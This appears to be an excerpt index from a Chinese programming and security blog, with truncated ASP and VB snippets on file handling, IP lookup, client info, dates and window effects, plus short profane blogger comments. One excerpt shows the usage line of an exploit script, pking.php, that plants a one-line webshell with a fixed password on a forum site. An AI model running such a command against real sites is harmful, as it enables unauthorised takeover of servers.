ASP生成随机数： Randomize '纯随机,不重复 Response.write Int((999999999&nbs

Asp Url编码和解码(16进制编码和解码)： <% function urldecoding(vstrin) 'URl解码 'qiushuiwuhen(2002-6-19)     dim i,strreturn,strSpecial     strSpecial = "!""#$%&'()*+,/:;<=>?@[\]^`{|}~%"

ASP提取任意文件二进制数据流下载，通常遇到做文件下载站点时要用到： <% StrName = server.MapPath(

ASP查询纯真数据库QQwry.dat： <% Function Look_Ip(IP)  Dim Wry, IPType, QQWryVersion, IpCounter  Set Wry = New TQQWry  IPType = Wry.QQWry(IP)  Look_Ip = Wry.Country & " " & Wry.LocalStr End Function Function GetIpInfoAv(IP, sType)  Dim Wry, IPType  Set Wry = New TQQWry  IPType = Wry.QQWry(IP)    Select Case sType   Case 1 GetIpInfoAv = "document.write(""" & IP & """);"   Case 2 GetIpInfoAv = "document.write(""" & Wry.Country & """);"   Case 3 GetIpInfoAv = "document.write(""" & Wry.LocalStr & """);"   Case Else Ge

保存图片数据的Test.xml： <?xml version="1.0"?> <data> <![CDATA[ R0lGODlhIwAqAOYAAOfq9ImGtLd0iaaix8bE2gCL2v/3AO+WDe6amWpjmQWR2rq30gCb5ud7eZVO b//oANjSDOInMv/7++qGgxQpi8kzQ/KlC/fDB5ycwlhHTv3m5ZWUvNx0dltYmFdJmkg2Vy4ZaxcN blRuo6CMKsG+1zl6tdHS43tZgdjO3VxIjbk7UPT0+K5BWmxro/GNiPmcleyioZyV0+dzb5N7MRKM 0gCh7H53q+eBfmRPkVponQV3yP7aAeHdBfCpqAlqundoOdnY5yqFyElEi/a7udvb6bKxzvnJx083 ghsfeaNGYe7u9eHe6uXl783M4DsnXPS2CAtDmg06neniBbmmv+Ftbf3z8/Skn7WrywWDzwxTpxuJ zqOYvvva2el1EdCquNPb7pWAqNzk8To4gzUwd5ejzI+Lt09MkI+WwXl/tGZwrHhso2pXlrG62OrE yMCyHaury/XNB4OCsqicwd6do/P//+98ds+Bi1JRlNzDzM3W6bvF4eStsv6zrACV4ACT3f///yH5 BAAAAAAALAAAAAAjACoAAAf/gFQIg4SFhoeIhjIyf42Oj5CRkpA3MhKOJAMDMZydnp+emiSPE5aO OCEhHxmsrayrH7GyTiCpKaSmjSkhIxBSv1I8wsMQPBDHyD8hHo+Vl40eGQbTD9XU19PZ01JOt47O jh4/OxZPBxboFxYH6uzrT+gWOxnM37l/4gdd++vlBwfmzv1b9w8OvWd/wEH7cUEguicNLcA5p85C xQNwPtRrpBDfj2w7Qj4wsGNkSQPWHuyAI0Ujwo7iDEAYMaOmzZszRujsNc3Jxj+lEIpz4yQEhaNI kyodMwMCiBRMTJgA0kAGgSIEmHj44CSKjgJgw4od6yPKBxBCNthIEIeDjAEt/zoE2BWFgd27ePPe 7RMlRIoyCcy8KbVBiJA4KZBgYeCnsYIEJyJLPpGARmM/DLAgSVEEwwYSbhdsiPMGBwUFfRr3UVAh QhIVFRy0rkAjtWMKKVYQaMLErZIVwE0XsN1YRQQHDiIkSBKBNvECuAnEsTGgAZUFGAY0EX55NewK Fb6rUFH7MvQUC8oEwBC6g5kNwm17Rx5BBGzZ5RsXQIJjRRPeoSXQAQbcXaaACiwYx8Js5Mm3H3oY YGDCDVSQ8MYABKRAwXCqHRgBCye4dgJ4+fWx3xEtiCFGHFUBMQAGTWhYwGV+sFZBCTTkEEQOJDq4 WRxCdFAGB1RsIOAGMtKogP8DCdhVAwM5JJEDjSYiscYKQDChRAMNNFFGGSassSGNjdmlRQmY2UXl fgkQQYIJoDUAAAELLKEGEhw6pkUQQYSoYxCWdaeZDUbe0cIi0m3whg1I6MDYZbItGAGCFeTwKGY+ gDDAGwkIEUAddRCAxgYLkABCFo+mxkISJcQWRAkRnHApA1mAQAQTdE4xwQRthLEAASukUJdqNCTh QIgs5DDiCcT1gRsQGLwBwB6D9AAAXEWUEcJifvShhQMsTJpcbCdcxoAOIWzBaQJkTDCEEROw0UEC ZSxxBBSztgqicgzIx0AUR6zABAZnTCGDBhrUgQcGRRTBhBwh+FBDYzSUkFz/BB+KEGgNPoRwBa4A 0DGHCxJIgAAMAJAQBwYAoIJFDX2MqIIDOYiwYAkM1IBuAkCo9wYKDRjRiBENoBBHBy28YW8IOtRQ QgIlKGBXxVJ3nAIAnLaQhgAkN2KyFfK20MQfKBwRQhYF1KC2kzUUAEUIRywBgGhngEEFF49wMYEX bDSBHRFAJAACElD4oMPhPrwNghq40msCABzAEMkQDWigRxxlDPDHClekAEItqXyOwxUSENHCHXec YUXXkfQwAXZlLEDEGyasQEIZNuS+RRMrEPHZBjkE4MANGkwiQQ8u4PFFGDZ0YMMSC7yxgBJNFAHE AgmM0cLcdkxQ/CR/SDCEXgtDEEBGC7G3kHvPd8RBwB1poOHFCy98D34jXCDg7hZ5fGFDC3FQgg2E kIMvsGEKMLjBEKpwP0hUwQhWmEAP2jCFNwALAzYAgxdcxwf7NdCBGjBCDxDRAyNoACGSCAQAOw== ]]> </data> 生成1.gif，Test.asp： <% Dim xml :

ASP删除文件： <% Dim FSO '声明一个名称为 objFSO 的变量以存放对象实例 Set FSO = Server.CreateObject("Scripting.FileSystemObject") If FSO.FileExists(Server.MapPath("\newfile.asp")) Then     FSO.DeleteFile Server.MapPath("\newfile.asp"),True     Response.Write "已经成功地对文件"&Server.MapPat

使用命令： php pking.php user pass http://www.baidu.com/ 生成一句话位于“data/bbscache/info_class.php”，密码为“c”。  pking.php： <?php echo "

T00ls安全团队简介：     一直很低调从未被超越的民间信息安全研究团队，牛人不少，技术讨论气氛浓厚。t00ls本身就是一个民间的安全组织，所有

ASP读取文件： 简洁版: CreateObject("Scripting.FileSystemObject").OpenTextfile(Server.MapPath("Muma.txt"),1,False).Readall 完整版: set fs=server.createobject("scripting.filesystemobject") file=server.mappath("pic/fuck.txt") set txt=fs.opentextfile(file,1,true) if not txt.atendofstream then line=txt.readall 'ReadLine从文件中读取一行数据;Read(N)从文件中读取N个字节的数据;Re

ASP获取客户端、服务器相关信息： Request.ServerVariables("NUMBER_OF_PROCESSORS") CPU 数量 Request.ServerVariables("OS") 操作系统 Request.ServerVariables("Url") 返回服务器地址 Request.ServerVariables("Path_Info") 客户端提供的路径信息 Request.ServerVariables("Appl_Physical_Path") 与应用程序元数据库路径相应的物理路径 Request.ServerVariables("Path_Translated") 通过由虚拟

普通来源页面函数： Request.ServerVariables("HTTP_REFERER") 支持图片调用的，图片内嵌获取来自页面地址方法： Function GetReferer() '获取页面

如果想获取对方，超详细精确的系统类型，请看这里： Asp超详细显示客户端系统信息：https://lcx.cc/post/507/ ASP获取客

普通获取IP方法： 服务器IP: Request.ServerVariables("LOCAL_ADDR") 浏览器IP: Request.ServerVariables("REMOTE_ADDR") 绕过代理获取真实IP，获得通过代理的连接的浏览器的真实IP： Function GetIP() '绕过代理获取真实IP Dim StrIPAddr If Request.ServerVariables("HTTP_X_FORWARDED_FOR")

ASP函数获取日期时间: Time()函数获取时间。 Now()函数可以获取当前的日期加时间。 now() 获取当前系统日期和时间,ASP输出可以这样写：&

ASP比较时间: Response.write DateDIff("S","2009-12-18 9:42:40","2009-12-18 9:42:45") 'S:以秒为单位;H以小时为单位;D:以天为单位;M:以月为单位;Y:以天为单位 DateDiff DateDiff: 返回 Variant (Long) 的值，表示两个指定日期间

博主评论：     哎，现代的这些专家可真有水平啊。不知道过几年，现代网络小说就可以进军教科书啦！！为了展现自己专家的独特个性，可真是放手一搏啊。    

FormatDateTime() 说明：     返回表达式，此表达式已被格式化为日期或时间。 原型：     FormatDateTime(Date[, NamedFormat]) 参数:     Date 必选项。要被格式化的日期表达式。      NamedFormat 可选项。指示所使

Asp超详细显示客户端系统信息，asp获取Ip，asp获取浏览器类型，asp获取操作系统类型，asp获取来路页面，asp获取真实IP，asp

Microsoft.XMLHTTPMicrosoft.XMLHttp组件的属性方法 一、使用步骤： 1、创建XMLHTTP对象 //需MSXML4

FSO操作文件夹的各种实例代码 Dim Fso Set Fso = Server.CreateObject("Scripting.FileSystemObject") 设置文件属性: Set Fso = Createobject("Scripting.FileSystemObject") Set File = Fso.GetFile("c:\a.txt") File.Attributes = 0 读取属性: Response.Write File.Attributes 可选的。规定文件或文件夹的属性值。 可采用下列值之

Asp简易在线文本编辑器(支持密码)： <% Dim PassWord, FilePath PassWord = "test" '密码 FilePath 

Asp超精准判断在线IP数量，并以列表方式显示： <% 'On Error Resume Next Server.ScriptTimeout = 300 &n

双机无线对联教程 双机无线对联，也就是所谓的 HOC 方式。XPSp2对无线这块的设置包括界面有了比较大的改变，虽然不难尝试，但是还有几个要点，需要掌

博主评论：     我操你妈，超级局域网还不够？还来个超级屏蔽无线电！企图封锁屏蔽什么？不想让民众知道什么？企图愚民？巩固你们的政权？重大突发事件？

VB半透明窗口效果实现代码： Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long Private Const WS_EX_LAYERED = &H80000 Private Const GWL_EXSTYLE = (-20) Private Const LWA_ALPHA = &H2 Private Const LWA_COLORKEY = &H1 Private Sub Form_Load()     Dim Rtn As Long     Rtn = GetWindowLong(hwnd, GWL_EXSTYLE)     Rtn = Rtn Or WS_EX_LAYERED     SetWindowLong hwnd, GWL_EXSTYLE, Rtn     SetLayeredWindowAttributes hwnd, 0, 200, LWA_ALPHA End Sub

    首先我们了解一下Windows的消息机制。Windows是一个消息驱动式系统，Windows消息提供应用程序与应用程序之间，应用程序与Wi

函数功能：     32×32的24位bmp位图转换为24位Ico图标，不需任何控件和外部函数，输入bmp文件名和ico文件名就完成了。 转换原理:    

Option Explicit Private Type PicBmp     Size  As Long     tType As Long     hBmp  As Long     hPal  As Long     Reserved As Long End Type Private Type GUID     Data1 As Long     Data2 As Integer     Data3 As Integer     Data4(7) As Byte End Type Private Declare Function OleCreatePictureIndirect Lib "olepro32.dll" (PicDesc As PicBmp, RefIID As GUID, ByVal fPictureOwnsHandle As Long, IPic As IPicture) As Long Private

WinInet WinInet（「Windows Internet」）API帮助程序员使用三个常见的Internet协议，这三个协议是：用于World Wide We

Private Sub NT_Start(Success As Boolean) '服务开始事件请求     Success = True End Sub Private Sub NT_Pause(Success As Boolean) '服务暂停事件     NT.LogEvent svcEventError, svcMessageError, "Service paused"     Success = True End Sub Private Sub NT_Continue(Success As Boolean) '服务继续     Success = True     NT.LogEvent svcEventInformation, svcMessageInfo, "Service continued" End Sub Private Sub NT_Control(ByVal mEvent